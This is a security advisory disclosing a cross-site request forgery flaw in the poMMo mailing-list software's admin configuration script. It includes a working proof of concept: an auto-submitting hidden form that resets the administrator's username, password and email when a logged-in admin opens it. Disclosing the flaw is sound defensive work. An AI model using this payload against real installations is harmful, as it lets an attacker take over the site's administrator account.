HTB22977: XSRF (CSRF) in poMMo

[advisory () htbridge ch]

Vulnerability ID: HTB22977
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pommo.html
Product: poMMo
Vendor: Brice Burgess ( http://pommo.org/ ) 
Vulnerable Version: Aardvark PR16.1
Vendor Notification: 26 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/setup/config/users.php" script to properly verify the source of 
HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/admin/setup/config/users.php"; method="post" name="main">
<input type="hidden" name="admin_username" value="admin2">
<input type="hidden" name="admin_password" value="newpass">
<input type="hidden" name="admin_password2" value="newpass">
<input type="hidden" name="admin_email" value="email () example com">
</form>
<script>
document.main.submit();
</script>